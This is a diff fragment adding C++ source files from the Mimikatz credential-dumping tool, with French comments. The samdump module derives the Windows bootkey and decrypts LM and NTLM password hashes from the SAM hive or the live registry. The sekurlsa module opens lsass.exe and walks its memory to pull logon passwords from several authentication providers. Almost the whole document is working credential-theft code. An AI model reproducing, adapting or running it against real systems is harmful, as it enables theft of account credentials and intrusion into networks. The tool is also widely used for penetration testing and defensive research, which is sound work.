static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool list(vector<wstring> * arguments);
|
||||
|
||||
static bool start(vector<wstring> * arguments);
|
||||
static bool suspend(vector<wstring> * arguments);
|
||||
static bool resume(vector<wstring> * arguments);
|
||||
static bool stop(vector<wstring> * arguments);
|
||||
|
||||
|
||||
static bool modules(vector<wstring> * arguments);
|
||||
static bool iat(vector<wstring> * arguments);
|
||||
};
|
||||
|
@ -0,0 +1,351 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_samdump.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_samdump::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"hashes", L"Récupère la bootkey depuis une ruche SYSTEM puis les hashes depuis une ruche SAM"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(bootkey, L"bootkey", L"Récupère la bootkey depuis une ruche SYSTEM"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::bootkey(vector<wstring> * arguments)
|
||||
{
|
||||
unsigned char bootkey[0x10];
|
||||
if(!arguments->empty())
|
||||
getInfosFromHive(arguments->front(), bootkey);
|
||||
else
|
||||
getInfosFromReg(bootkey);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::full(vector<wstring> * arguments)
|
||||
{
|
||||
unsigned char bootkey[0x10];
|
||||
if(!arguments->empty() && (arguments->size() >= 1 && arguments->size() <= 2))
|
||||
{
|
||||
if(getInfosFromHive(arguments->front().c_str(), bootkey))
|
||||
{
|
||||
if(!getUsersAndHashesFromHive(arguments->back().c_str(), bootkey))
|
||||
wcout << L"Erreur lors de l\'exploration des ruches" << endl;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if(getInfosFromReg(bootkey))
|
||||
{
|
||||
if(!getUsersAndHashesFromReg(bootkey))
|
||||
wcout << L"Erreur lors de l\'exploration du registre" << endl;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10])
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
mod_hive::hive * monHive = new mod_hive::hive();
|
||||
mod_hive::InitHive(monHive);
|
||||
if(mod_hive::RegOpenHive(samHive.c_str(), monHive))
|
||||
{
|
||||
string * rootKey = new string();
|
||||
if(mod_hive::RegGetRootKey(monHive, rootKey))
|
||||
{
|
||||
string * keyAccountName = new string(*rootKey); keyAccountName->append("\\SAM\\Domains\\Account");
|
||||
string * valAccountName = new string("F");
|
||||
int longueurF = 0; unsigned char *bufferF = NULL;
|
||||
|
||||
if(mod_hive::RegOpenKeyQueryValue(monHive, keyAccountName, valAccountName, &bufferF, &longueurF))
|
||||
{
|
||||
BYTE hBootKey[0x20] = {0};
|
||||
if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF))
|
||||
{
|
||||
string * keyUsers = new string(*rootKey); keyUsers->append("\\SAM\\Domains\\Account\\Users");
|
||||
mod_hive::nk_hdr * nodeUsers = new mod_hive::nk_hdr();
|
||||
if(mod_hive::RegOpenKey(monHive, keyUsers, &nodeUsers ))
|
||||
{
|
||||
vector<string> * keyNames = new vector<string>();
|
||||
if(reussite = mod_hive::RegEnumKey(monHive, nodeUsers, keyNames))
|
||||
{
|
||||
for(vector<string>::iterator maKey = keyNames->begin(); maKey != keyNames->end(); maKey++)
|
||||
{
|
||||
if(maKey->compare("Names") != 0)
|
||||
{
|
||||
string * keyUser = new string(*keyUsers); keyUser->append("\\"); keyUser->append(*maKey);
|
||||
string valUserF = "F"; mod_hash::USER_F * userF = NULL; int longueurF = 0;
|
||||
string valUserV = "V"; mod_hash::USER_V * userV = NULL; int longueurV = 0;
|
||||
|
||||
if(reussite &= mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserV, reinterpret_cast<unsigned char **>(&userV), &longueurV) &&
|
||||
mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserF, reinterpret_cast<unsigned char **>(&userF), &longueurF))
|
||||
{
|
||||
infosFromUserAndKey(userF, userV, hBootKey);
|
||||
delete[] userF, userV;
|
||||
}
|
||||
delete keyUser;
|
||||
}
|
||||
}
|
||||
}
|
||||
delete keyNames;
|
||||
}
|
||||
delete nodeUsers, keyUsers;
|
||||
}
|
||||
delete[] bufferF;
|
||||
}
|
||||
delete valAccountName, keyAccountName;
|
||||
}
|
||||
delete rootKey;
|
||||
}
|
||||
delete monHive;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10])
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
mod_hive::hive * monHive = new mod_hive::hive();
|
||||
mod_hive::InitHive(monHive);
|
||||
|
||||
if(mod_hive::RegOpenHive(systemHive.c_str(), monHive))
|
||||
{
|
||||
string * rootKey = new string();
|
||||
if(mod_hive::RegGetRootKey(monHive, rootKey))
|
||||
{
|
||||
DWORD nControlSet = 0;
|
||||
if(getNControlSetFromHive(monHive, rootKey, &nControlSet))
|
||||
{
|
||||
stringstream * monControlSet = new stringstream;
|
||||
*monControlSet << *rootKey << "\\ControlSet" << setw(3) << setfill('0') << nControlSet;
|
||||
string * fullControlSet = new string(monControlSet->str());
|
||||
delete monControlSet;
|
||||
|
||||
wstring * computerName = new wstring();
|
||||
if(getComputerNameFromHive(monHive, fullControlSet, computerName))
|
||||
wcout << L"Ordinateur : " << *computerName << endl;
|
||||
delete computerName;
|
||||
|
||||
if(reussite = getBootKeyFromHive(monHive, fullControlSet, bootkey))
|
||||
wcout << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl;
|
||||
delete fullControlSet;
|
||||
}
|
||||
}
|
||||
delete rootKey;
|
||||
mod_hive::RegCloseHive(monHive);
|
||||
}
|
||||
delete monHive;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
string * keyComputerName = new string(*fullControlSet); keyComputerName->append("\\Control\\ComputerName\\ComputerName");
|
||||
string * valComputerName = new string("ComputerName");
|
||||
int longueur = 0; unsigned char *buffer = NULL;
|
||||
if(reussite = mod_hive::RegOpenKeyQueryValue(theHive, keyComputerName, valComputerName, &buffer, &longueur))
|
||||
{
|
||||
computerName->assign(reinterpret_cast<wchar_t *>(buffer), longueur / sizeof(wchar_t));
|
||||
delete[] buffer;
|
||||
}
|
||||
delete valComputerName;
|
||||
delete keyComputerName;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10])
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
unsigned char key[0x10];
|
||||
char *kn[] = {"JD", "Skew1", "GBG", "Data"};
|
||||
|
||||
for(unsigned int i = 0; i < sizeof(kn) / sizeof(char *); i++ )
|
||||
{
|
||||
string * maKey = new string(*fullControlSet); maKey->append("\\Control\\Lsa\\"); maKey->append(kn[i]);
|
||||
mod_hive::nk_hdr * n = new mod_hive::nk_hdr();
|
||||
|
||||
if(reussite = mod_hive::RegOpenKey(theHive, maKey, &n))
|
||||
{
|
||||
char kv[9] = {0};
|
||||
unsigned char *b = mod_hive::read_data(theHive, n->classname_off + 0x1000);
|
||||
for(short j = 0; j < (n->classname_len / 2) && j < 8; j++)
|
||||
kv[j] = b[j*2];
|
||||
sscanf_s(kv, "%x", (unsigned int*) (&key[i*4]));
|
||||
}
|
||||
delete n, maKey;
|
||||
}
|
||||
|
||||
if(reussite)
|
||||
mod_hash::getBootKeyFromKey(bootkey, key);
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::getBootKeyFromReg(BYTE bootkey[0x10])
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
DWORD code;
|
||||
BYTE key[0x10] = {0};
|
||||
wchar_t * kn[] = {L"JD", L"Skew1", L"GBG", L"Data"};
|
||||
HKEY monLSA;
|
||||
code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, KEY_READ, &monLSA);
|
||||
if(code == ERROR_SUCCESS)
|
||||
{
|
||||
for(unsigned int i = 0; (i < sizeof(kn) / sizeof(wchar_t *)) && (code == ERROR_SUCCESS); i++ )
|
||||
{
|
||||
HKEY monSecret;
|
||||
code = RegOpenKeyEx(monLSA, kn[i], 0, KEY_READ, &monSecret);
|
||||
if(code == ERROR_SUCCESS)
|
||||
{
|
||||
wchar_t monBuffer[8 + 1];
|
||||
DWORD maTaille = 8 + 1;
|
||||
|
||||
code = RegQueryInfoKey(monSecret, monBuffer, &maTaille, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
if(code == ERROR_SUCCESS)
|
||||
swscanf_s(monBuffer, L"%x", (DWORD *) (&key[i * sizeof(DWORD)]));
|
||||
else wcout << L"RegQueryInfoKey " << kn[i] << " : " << mod_system::getWinError(false, code) << endl;
|
||||
RegCloseKey(monSecret);
|
||||
} else wcout << L"RegOpenKeyEx " << kn[i] << " : " << mod_system::getWinError(false, code) << endl;
|
||||
}
|
||||
RegCloseKey(monLSA);
|
||||
} else wcout << L"RegOpenKeyEx LSA : " << mod_system::getWinError(false, code) << endl;
|
||||
|
||||
if(reussite = (code == ERROR_SUCCESS))
|
||||
mod_hash::getBootKeyFromKey(bootkey, key);
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
|
||||
bool mod_mimikatz_samdump::getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
string * selectKey = new string(*rootKey); selectKey->append("\\Select");
|
||||
string * nDefault = new string("Default");
|
||||
int longueur = 0; unsigned char *buffer = NULL;
|
||||
|
||||
if(mod_hive::RegOpenKeyQueryValue(theHive, selectKey, nDefault, &buffer, &longueur))
|
||||
{
|
||||
if(reussite = (longueur == sizeof(DWORD)))
|
||||
*nControlSet = *(DWORD *) (buffer);
|
||||
delete[] buffer;
|
||||
}
|
||||
|
||||
delete nDefault, selectKey;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::getInfosFromReg(BYTE bootkey[0x10])
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
wstring * computerName = new wstring();
|
||||
if(mod_system::getComputerName(computerName))
|
||||
wcout << L"Ordinateur : " << *computerName << endl;
|
||||
delete computerName;
|
||||
|
||||
if(reussite = getBootKeyFromReg(bootkey))
|
||||
wcout << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_samdump::getUsersAndHashesFromReg(BYTE bootkey[0x10])
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
DWORD code;
|
||||
HKEY maSAM;
|
||||
code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SAM\\SAM\\Domains\\Account", 0, KEY_READ, &maSAM);
|
||||
if(code == ERROR_SUCCESS)
|
||||
{
|
||||
DWORD tailleRequise = 0;
|
||||
code = RegQueryValueEx(maSAM, L"F", NULL, NULL, NULL, &tailleRequise);
|
||||
if(code == ERROR_SUCCESS)
|
||||
{
|
||||
BYTE * bufferF = new BYTE[tailleRequise];
|
||||
code = RegQueryValueEx(maSAM, L"F", NULL, NULL, bufferF, &tailleRequise);
|
||||
if(code == ERROR_SUCCESS)
|
||||
{
|
||||
BYTE hBootKey[0x10] = {0};
|
||||
if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF))
|
||||
{
|
||||
HKEY mesUsers;
|
||||
code = RegOpenKeyEx(maSAM, L"Users", 0, KEY_READ, &mesUsers);
|
||||
if(code == ERROR_SUCCESS)
|
||||
{
|
||||
DWORD nombreUsers = 0, tailleMaxSousCle = 0;
|
||||
code = RegQueryInfoKey(mesUsers, NULL, NULL, NULL, &nombreUsers, &tailleMaxSousCle, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
if(reussite = (code == ERROR_SUCCESS))
|
||||
{
|
||||
tailleMaxSousCle++;
|
||||
wchar_t * monRid = new wchar_t[tailleMaxSousCle];
|
||||
for(DWORD i = 0; i < nombreUsers ; i++)
|
||||
{
|
||||
DWORD tailleRid = tailleMaxSousCle;
|
||||
code = RegEnumKeyExW(mesUsers, i, monRid, &tailleRid, NULL, NULL, NULL, NULL);
|
||||
if(code == ERROR_SUCCESS)
|
||||
{
|
||||
if(_wcsicmp(monRid, L"Names") != 0)
|
||||
{
|
||||
HKEY monUser;
|
||||
code = RegOpenKeyEx(mesUsers, monRid, 0, KEY_READ, &monUser);
|
||||
if(reussite &= (code == ERROR_SUCCESS))
|
||||
{
|
||||
DWORD tailleF = 0, tailleV = 0;
|
||||
if((RegQueryValueEx(monUser, L"F", NULL, NULL, NULL, &tailleF) == ERROR_SUCCESS) &&
|
||||
(RegQueryValueEx(monUser, L"V", NULL, NULL, NULL, &tailleV) == ERROR_SUCCESS))
|
||||
{
|
||||
mod_hash::USER_F * userF = reinterpret_cast<mod_hash::USER_F *>(new BYTE[tailleF]);
|
||||
mod_hash::USER_V * userV = reinterpret_cast<mod_hash::USER_V *>(new BYTE[tailleV]);
|
||||
|
||||
if((RegQueryValueEx(monUser, L"F", NULL, NULL, reinterpret_cast<BYTE *>(userF), &tailleF) == ERROR_SUCCESS) &&
|
||||
(RegQueryValueEx(monUser, L"V", NULL, NULL, reinterpret_cast<BYTE *>(userV), &tailleV) == ERROR_SUCCESS))
|
||||
infosFromUserAndKey(userF, userV, hBootKey);
|
||||
|
||||
delete[] userF, userV;
|
||||
}
|
||||
RegCloseKey(monUser);
|
||||
}
|
||||
}
|
||||
} else wcout << L"RegEnumKeyExW : " << mod_system::getWinError(false, code) << endl;
|
||||
}
|
||||
delete[] monRid;
|
||||
}
|
||||
RegCloseKey(mesUsers);
|
||||
} else wcout << L"RegOpenKeyEx Users : " << mod_system::getWinError(false, code) << endl;
|
||||
}
|
||||
} else wcout << L"RegQueryValueEx 2 F : " << mod_system::getWinError(false, code) << endl;
|
||||
delete[] bufferF;
|
||||
} else wcout << L"RegQueryValueEx 1 F : " << mod_system::getWinError(false, code) << endl;
|
||||
RegCloseKey(maSAM);
|
||||
} else wcout << L"RegOpenKeyEx SAM : " << mod_system::getWinError(false, code) << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
void mod_mimikatz_samdump::infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x10])
|
||||
{
|
||||
wstring hashLM, hashNTLM;
|
||||
mod_hash::decryptHash(&hashLM, hBootKey, userV, &userV->LM, userF->UserId, false);
|
||||
mod_hash::decryptHash(&hashNTLM, hBootKey, userV, &userV->NTLM, userF->UserId, true);
|
||||
wcout << endl <<
|
||||
L"Rid : " << userF->UserId << endl <<
|
||||
L"User : " << wstring((wchar_t *) (&(userV->datas) + userV->Username.offset), userV->Username.lenght / sizeof(wchar_t)) << endl <<
|
||||
L"LM : " << hashLM << endl <<
|
||||
L"NTLM : " << hashNTLM << endl
|
||||
;
|
||||
}
|
@ -0,0 +1,34 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_hive.h"
|
||||
#include "mod_hash.h"
|
||||
#include "mod_system.h"
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
|
||||
class mod_mimikatz_samdump
|
||||
{
|
||||
private:
|
||||
static bool getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet);
|
||||
static bool getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName);
|
||||
|
||||
static bool getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]);
|
||||
static bool getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]);
|
||||
static bool getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]);
|
||||
|
||||
static bool getBootKeyFromReg(BYTE bootkey[0x10]);
|
||||
static bool getInfosFromReg(BYTE bootkey[0x10]);
|
||||
static bool getUsersAndHashesFromReg(BYTE bootkey[0x10]);
|
||||
|
||||
static void infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x20]);
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool bootkey(vector<wstring> * arguments);
|
||||
static bool full(vector<wstring> * arguments);
|
||||
};
|
@ -0,0 +1,347 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_sekurlsa.h"
|
||||
HMODULE mod_mimikatz_sekurlsa::hLsaSrv = NULL;
|
||||
HANDLE mod_mimikatz_sekurlsa::hLSASS = NULL;
|
||||
mod_process::KIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa::localLSASRV, *mod_mimikatz_sekurlsa::pModLSASRV = NULL;
|
||||
PLSA_SECPKG_FUNCTION_TABLE mod_mimikatz_sekurlsa::SeckPkgFunctionTable = NULL;
|
||||
|
||||
bool mod_mimikatz_sekurlsa::lsassOK = false;
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> mod_mimikatz_sekurlsa::GLOB_ALL_Providers;
|
||||
vector<mod_mimikatz_sekurlsa::KIWI_MODULE_PKG_LSA> mod_mimikatz_sekurlsa::mesModules;
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_sekurlsa::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_msv1_0::getMSV, L"msv", L"énumère les sessions courantes du provider MSV1_0"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_wdigest::getWDigest, L"wdigest", L"énumère les sessions courantes du provider WDigest"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_kerberos::getKerberos, L"kerberos",L"énumère les sessions courantes du provider Kerberos"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_tspkg::getTsPkg, L"tspkg", L"énumère les sessions courantes du provider TsPkg"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_livessp::getLiveSSP, L"livessp", L"énumère les sessions courantes du provider LiveSSP"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_ssp::getSSP, L"ssp", L"énumère les sessions courantes du provider SSP (msv1_0)"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(getLogonPasswords, L"logonPasswords", L"énumère les sessions courantes des providers disponibles"));
|
||||
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(searchPasswords, L"searchPasswords", L"rechere directement dans les segments mémoire de LSASS des mots de passes"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa::getLogonPasswords(vector<wstring> * arguments)
|
||||
{
|
||||
if(searchLSASSDatas())
|
||||
getLogonData(arguments, &GLOB_ALL_Providers);
|
||||
else
|
||||
wcout << L"Données LSASS en erreur" << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa::loadLsaSrv()
|
||||
{
|
||||
if(!hLsaSrv)
|
||||
hLsaSrv = LoadLibrary(L"lsasrv");
|
||||
|
||||
if(mesModules.empty())
|
||||
{
|
||||
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"lsasrv.dll", L"msv1_0", mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData, &pModLSASRV));
|
||||
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"tspkg.dll", L"tspkg", mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData, &mod_mimikatz_sekurlsa_tspkg::pModTSPKG));
|
||||
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"wdigest.dll", L"wdigest", mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData, &mod_mimikatz_sekurlsa_wdigest::pModWDIGEST));
|
||||
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"kerberos.dll", L"kerberos", mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData, &mod_mimikatz_sekurlsa_kerberos::pModKERBEROS));
|
||||
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"msv1_0.dll", L"ssp", mod_mimikatz_sekurlsa_ssp::getSSPLogonData, &mod_mimikatz_sekurlsa_ssp::pModMSV));
|
||||
if(mod_system::GLOB_Version.dwBuildNumber >= 8000)
|
||||
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"livessp.dll",L"livessp", mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData, &mod_mimikatz_sekurlsa_livessp::pModLIVESSP));
|
||||
}
|
||||
return (hLsaSrv != NULL);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa::unloadLsaSrv()
|
||||
{
|
||||
for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++)
|
||||
if(*testModule->pModuleEntry)
|
||||
delete *testModule->pModuleEntry;
|
||||
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData();
|
||||
else
|
||||
mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData();
|
||||
|
||||
if(hLSASS)
|
||||
CloseHandle(hLSASS);
|
||||
if(hLsaSrv)
|
||||
FreeLibrary(hLsaSrv);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa::searchLSASSDatas()
|
||||
{
|
||||
if(!lsassOK)
|
||||
{
|
||||
if(!hLSASS)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 monProcess;
|
||||
wstring processName = L"lsass.exe";
|
||||
if(mod_process::getUniqueForName(&monProcess, &processName))
|
||||
{
|
||||
if(hLSASS = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, monProcess.th32ProcessID))
|
||||
{
|
||||
vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY> monVecteurModules;
|
||||
if(mod_process::getVeryBasicModulesListForProcess(&monVecteurModules, hLSASS))
|
||||
{
|
||||
for(vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY>::iterator leModule = monVecteurModules.begin(); leModule != monVecteurModules.end(); leModule++)
|
||||
{
|
||||
for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++)
|
||||
{
|
||||
if((_wcsicmp(leModule->szModule.c_str(), testModule->moduleName) == 0) && !(*testModule->pModuleEntry))
|
||||
{
|
||||
GLOB_ALL_Providers.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(testModule->enumFunc, testModule->simpleName/*wstring(L"msv1_0")*/));
|
||||
*testModule->pModuleEntry = new mod_process::KIWI_VERY_BASIC_MODULEENTRY(*leModule);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
wcout << L"mod_process::getVeryBasicModulesListForProcess : " << mod_system::getWinError() << endl;
|
||||
CloseHandle(hLSASS);
|
||||
hLSASS = NULL;
|
||||
}
|
||||
} else wcout << L"OpenProcess : " << mod_system::getWinError() << endl;
|
||||
} else wcout << L"mod_process::getUniqueForName : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
if(hLSASS)
|
||||
{
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), hLsaSrv, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
localLSASRV.modBaseAddr = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
localLSASRV.modBaseSize = mesInfos.SizeOfImage;
|
||||
|
||||
if(!SeckPkgFunctionTable)
|
||||
{
|
||||
struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsaSrv, "LsaIRegisterNotification"), GetProcAddress(hLsaSrv, "LsaICancelNotification")};
|
||||
if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification)
|
||||
mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast<PBYTE>(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true);
|
||||
}
|
||||
|
||||
lsassOK = (mod_system::GLOB_Version.dwMajorVersion < 6) ? mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() : mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData();
|
||||
}
|
||||
}
|
||||
}
|
||||
return lsassOK;
|
||||
}
|
||||
|
||||
PLIST_ENTRY mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind)
|
||||
{
|
||||
PLIST_ENTRY resultat = NULL;
|
||||
BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)];
|
||||
PLIST_ENTRY pStruct = NULL;
|
||||
if(mod_memory::readMemory(pSecurityStruct, &pStruct, sizeof(pStruct), hLSASS))
|
||||
{
|
||||
while(pStruct != pSecurityStruct)
|
||||
{
|
||||
if(mod_memory::readMemory(pStruct, monBuffer, LUIDoffset + sizeof(LUID), hLSASS))
|
||||
{
|
||||
if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset)))
|
||||
{
|
||||
resultat = pStruct;
|
||||
break;
|
||||
}
|
||||
} else break;
|
||||
pStruct = reinterpret_cast<PLIST_ENTRY>(monBuffer)->Flink;
|
||||
}
|
||||
}
|
||||
delete [] monBuffer;
|
||||
return resultat;
|
||||
}
|
||||
|
||||
PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind)
|
||||
{
|
||||
PVOID resultat = NULL;
|
||||
RTL_AVL_TABLE maTable;
|
||||
if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS))
|
||||
resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind);
|
||||
return resultat;
|
||||
}
|
||||
|
||||
PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind)
|
||||
{
|
||||
PVOID resultat = NULL;
|
||||
RTL_AVL_TABLE maTable;
|
||||
if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS))
|
||||
{
|
||||
if(maTable.OrderedPointer)
|
||||
{
|
||||
BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)];
|
||||
if(mod_memory::readMemory(maTable.OrderedPointer, monBuffer, LUIDoffset + sizeof(LUID), hLSASS))
|
||||
{
|
||||
if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset)))
|
||||
resultat = maTable.OrderedPointer;
|
||||
}
|
||||
delete [] monBuffer;
|
||||
}
|
||||
|
||||
if(!resultat && maTable.BalancedRoot.LeftChild)
|
||||
resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.LeftChild), LUIDoffset, luidToFind);
|
||||
if(!resultat && maTable.BalancedRoot.RightChild)
|
||||
resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind);
|
||||
}
|
||||
return resultat;
|
||||
}
|
||||
|
||||
